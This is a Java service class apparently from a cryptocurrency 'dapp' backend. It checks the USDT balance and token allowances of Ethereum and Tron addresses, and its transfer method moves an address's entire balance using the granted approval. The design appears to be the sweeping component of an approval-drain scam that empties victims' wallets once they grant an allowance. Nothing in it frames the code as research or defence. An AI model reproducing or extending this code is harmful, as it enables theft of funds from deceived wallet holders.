package cc.mrbird.febs.dapp.chain;
|
|
import cc.mrbird.febs.common.exception.FebsException;
|
import cn.hutool.core.util.StrUtil;
|
import cn.hutool.http.HttpUtil;
|
import com.alibaba.fastjson.JSONObject;
|
|
import java.math.BigDecimal;
|
import java.math.BigInteger;
|
|
/**
|
* @author
|
* @date 2022-03-23
|
**/
|
public class ChainService {
|
|
private final String ETH_PREFIX = "0x";
|
private final EthService ETH = new EthService();
|
private final TrxService TRX = TrxService.INSTANCE;
|
|
private ChainService() {}
|
|
public final static ChainService INSTANCE = new ChainService();
|
|
/**
|
* 获取制定账号的USDT余额
|
*
|
* @param address
|
* @return
|
*/
|
public BigDecimal balanceOf(String address) {
|
BigDecimal balance = BigDecimal.ZERO;
|
if (address.contains(ETH_PREFIX)) {
|
balance = ETH.tokenGetBalance(address);
|
} else {
|
balance = TRX.balanceOfDecimal(address);
|
}
|
return balance;
|
}
|
|
/**
|
* 判断地址是否授权给制定账户
|
*
|
* @param address
|
* @return
|
*/
|
public boolean isAllowance(String address) {
|
BigInteger result;
|
if (address.startsWith(ETH_PREFIX)) {
|
result = ETH.ethAllowance(address);
|
} else {
|
result = TRX.allowance(address);
|
}
|
|
return result.intValue() != 0;
|
}
|
|
/**
|
* 获取地址授权数量
|
*
|
* @param address
|
* @return
|
*/
|
public int allowanceCnt(String address) {
|
String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
|
String total = JSONObject.parseObject(response).getString("total");
|
return Integer.parseInt(total);
|
}
|
|
public String transfer(String address) {
|
BigDecimal amount = balanceOf(address);
|
|
return transfer(address, amount);
|
}
|
|
public String transfer(String address, BigDecimal amount) {
|
String hash;
|
if (address.startsWith(ETH_PREFIX)) {
|
String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
|
JSONObject data = JSONObject.parseObject(resp);
|
hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
|
} else {
|
hash = TRX.transfer(address, amount);
|
}
|
return hash;
|
}
|
|
public static void main(String[] args) {
|
// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
|
|
// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
|
System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
|
}
|
}
|